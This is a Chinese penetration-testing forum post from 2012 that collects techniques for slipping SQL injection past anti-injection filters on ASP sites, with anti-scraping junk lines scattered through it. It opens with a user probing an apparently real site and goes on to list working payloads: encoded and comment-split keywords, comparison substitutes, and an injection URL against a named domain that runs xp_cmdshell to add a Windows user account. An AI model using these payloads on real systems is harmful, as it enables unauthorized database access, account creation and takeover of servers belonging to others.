中国网络渗透测试联盟
标题:
饶过防注入系统方法总结
[打印本页]
作者:
admin
时间:
2012-9-15 14:47
标题:
饶过防注入系统方法总结
路过这个网站,检测了一下.
Y2 J9 v1 U6 ?- l8 b2 v
http://www.xxx.cn/Article.asp?ID=117
and 1=1
' T- d$ a: [. `6 B9 A! v
直接返回主页
8 R. h+ O5 L, B0 x* f
http://www.xxx.cn/Article.asp?ID=117
or 1=1
- ~0 `* V3 z: ^, \- f d- Y, W
直接返回主页
3 f9 I" P6 X( ^$ z
http://www.xxx.cn/Article.asp?ID=117
or
# D4 K' ~$ V( l# T4 v) E! L
没有返回主页 没有过滤or
& y |4 b0 z% ?) ~- D. I& Q
http://www.xxx.cn/Article.asp?ID=117
and
# ~4 v8 L5 r) z$ Y3 r* W6 `4 w
直接返回主页 看来过滤了and
5 z3 N% E8 G' Y& q
http://www.xxx.cn/Article.asp?ID=117
or 1
4 C& T; [+ C/ }5 S1 u
没有返回主页 即没有过滤or 也没有过滤1
6 ~8 l$ L1 n3 M$ [/ Q n
http://www.xxx.cn/Article.asp?ID=117
or 1=1
7 t, V% c) ^$ R I
直接返回主页 很明显过滤了等号
' p4 Z& T& b: P5 L) V
or的特性是与and相反的.
- [+ g6 a! ~# z0 O
or 1=1 爆错 或与原页面不同
& x. C o$ L- ]6 f
or 1=2 原页面相同
2 F# ]4 ^" H6 A. U
这样就是一个注入点
& ?( {* y4 z7 k
但他过滤了=号 我就用><号代替=号吧!
+ \5 ~! c* D9 e0 o9 S# T
or 1<2 很明显是正确的,所以应该与原页面不同
; P% S# c, O2 h* n P7 b
or 1>2 很明显是错误的,所以应该与原页面相同
$ X6 N, u5 Z* r0 ^; n1 u2 E
然后看看有没有过滤其他的查询语句,比如select.
6 ^+ i7 ]# o u3 ?+ j
http://www.xxx.cn/Article.asp?ID=117
select
/ X! ]* H- d D1 P% W3 u& m
直接返回主页
+ P) c4 @7 h( J8 w
又迷茫了..
; @4 e$ T) |! W, o1 W* r) ^
, _3 d' ^5 }3 j* w: E i" i
6 h& W7 _/ g9 b% h. ~( v
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
+ F9 m$ m9 `0 M3 Z0 x3 M8 F2 W
这个系统我以为是my动力,后台却是这样的
http://www.xxx.cn/admin.asp
(应该不是假够台吧)
; Y: r$ P- A( p, S$ m0 Q) ?
================================================
/ V" Y( e& |' }0 W O$ `
以下是转贴:
) u' T$ {# B" |5 s. K
0 S: x+ J" _# r' e5 G/ A' D
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
& D! ]. \1 c' f8 M9 \! a1 h& g9 F
经过我的收集,大部分的防注入程序都过滤了以下关键字:
% E5 N# ~* a& H' U
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
6 [* O. b7 f* A. O+ W
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
+ I7 N9 O) {5 x$ L/ [
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
8 b$ Q: J% \* r" ^# G
1、运用编码技术绕过
F/ a: k% o3 ~" H. a+ [
如URLEncode编码,ASCII编码绕过。例如or 1=1即
! s/ ^3 f# |" |. j; M
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
* r2 x( N/ ?2 M* S$ H" r$ B$ ?2 j6 p
. \! w' `( K, {5 d7 v
2、通过空格绕过
# L0 ^* g* S3 C, Q# |
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
; E# ~6 S+ z8 @% i. X. U' D
or’ swords’ =‘swords’
8 O' q5 z- Z7 k# F; l! `
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
2 P2 A( u) b/ x8 ^# M' U
3、运用字符串判断代替
9 K$ q! H8 y5 W" Z) ~1 G
用经典的or 1=1判断绕过,如
+ E+ \9 R6 o! B1 K9 {
or ’swords’ =’swords’
8 ~! S/ J" V' p( C0 r9 W2 Q
,这个方法就是网上在讨论的。
# l2 W: c/ x# A* m% U$ [1 g8 U
4、通过类型转换修饰符N绕过
. t" `) i# S% t
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
3 ^ A/ w7 V* u$ ^; m
5、通过+号拆解字符串绕过
; @" G, @! v- Z; }( C+ g
效果值得考证,但毕竟是一种方法。如
! O, ~% u6 s5 e1 B* z: ]
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
) d4 ~6 r/ i# v4 ~9 T
0 p7 s$ ^! |% B! Z3 Y) z* D
6、通过LIKE绕过
4 Q% s( o, y9 O1 c1 R' s
以前怎么就没想到呢?如or
8 K0 Y, K& J8 m" {+ ^
’swords’ LIKE ’sw’
$ W' ~3 O$ N6 m# ?
!!!显然可以很轻松的绕过
1 ?" d- M% W8 @! A/ [% h2 T
“=”“>”
) L7 r% \3 [ f, p! l; U2 H
的限制……
. N; p2 h4 x. q
7、通过IN绕过
6 D5 E8 `- f) j1 `' N: v a6 h' P
与上面的LIKE的思路差不多,如
* Q" G- {5 n. J) E( j1 O% B9 ]. q
or ’swords’ IN (’swords’)
+ U7 }6 p8 M1 Q% d9 o' p1 F* G3 F
$ z% p6 F5 X) |
8、通过BETWEEN绕过
5 L1 Z5 A! `9 s9 n
如
+ S: h) D) ~6 u& O4 j" K4 x/ _$ A
or ’swords’ BETWEEN ’rw’ AND ’tw’
: E* W" s3 k7 n: r$ v. M7 s
! a5 y( v) ~: C7 N4 R7 H0 V$ @
9、通过>或者<绕过
8 |2 [$ k0 J$ c8 `* ]) q# K
or ’swords’ > ’sw’
: Q4 I4 A; x: Q. `, g/ {
or ’swords’ < ’tw’
7 A* P- U) N& V! }* R8 w
or 1<3
0 O6 c0 L; M8 m: N8 j: }2 o# U1 `
……
; Q8 u* R1 I9 B- m7 C3 L
10、运用注释语句绕过
- l( v0 `8 ^0 N9 F; ?
用/**/代替空格,如:
+ l# g0 t8 S9 }. ~1 U/ i' t
UNION /**/ Select /**/user,pwd,from tbluser
+ s5 e2 z1 _" o0 _- ^. `) Z
* C% j& a' ?, }' I5 n
用/**/分割敏感词,如:
4 ?( W% o# `( m1 @3 q/ |7 S
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
4 r7 O& s+ ^. z! _* ]: A1 Y
6 f9 f7 X, [3 m+ I
11、用HEX绕过,一般的IDS都无法检测出来
& e4 ]7 {' s" u" ~9 f
0x730079007300610064006D0069006E00 =hex(sysadmin)
" @7 ^/ s* {& A
0x640062005F006F0077006E0065007200 =hex(db_owner)
$ `- }$ t H2 H6 Z7 g
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
0 {' H& s& h+ N/ M
declare @a sysname
, m1 h! J* d4 A! A
select @a=
) F' ?/ N5 Q7 ^# e0 {
exec master.dbo.xp_cmdshell @a
/ N! _/ x% Y# i& @; \
效果
: _1 {/ F# k y5 K$ X
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%
[email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
9 Z. @+ [$ ]* S5 W
5 x; e/ V) H7 I( \
其中的
( ~0 Z; R6 ]5 C$ m9 i& k1 K
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
. s% t% ^* o# N, I
就是
: N8 w7 x; U x1 w/ U+ J. N
“net user angel pass /add”
6 ^, \8 j! i2 P& _
( S/ o6 _ P& h4 q
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
+ h$ E8 m4 X5 j# x& _- o
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
" I/ a9 s" C. W
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
/ I+ i5 A/ ]" v
Copy code
8 v- j' ?) M3 f7 N6 Z L
select * from table exec xp_cmdshell'xxxxxxxxxx'
. ^8 P4 w, g& F9 d4 [9 O
K. ?8 R4 b5 O
$ \. |4 H$ n* a1 S$ U
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
% ]# T- y$ i5 n3 |+ l' H
. G! Q: L) ~' M
8 g3 {9 W( P h/ G) M
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
! ]2 i0 ]& O2 o. l- _- X0 @" `
8 u! ]' u" V& B' ~* L6 }& ^
* ~* W2 ?' `: U; \ D" ]5 w
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
3 M6 x3 X) ~: y7 K- b4 k9 L
" E' e" v) N7 S+ a( ~$ g- J f
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
/ x& M2 w& a" U$ C
* q! {- y; d0 U' F$ R1 ?- W
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
/ z5 n& ^# J8 R- I+ l* y* `. n0 ?: K
可能大家早就知道了,不管怎么说,发在这里吧!
4 A; _, |/ q I y
2 G& J( K; Y) |, L- ~: y& r
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
& p' @' B5 o+ y
& w& c, s( S9 L }2 z
g | F0 B2 [* q( c2 f! e* P$ W
/ [ Q8 q, P7 T2 C& |! K/ l
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
# q, E( l( l3 S. U" g `
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
* ~9 q4 h% ~& w
: o% Y- }+ p. q0 V6 w
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2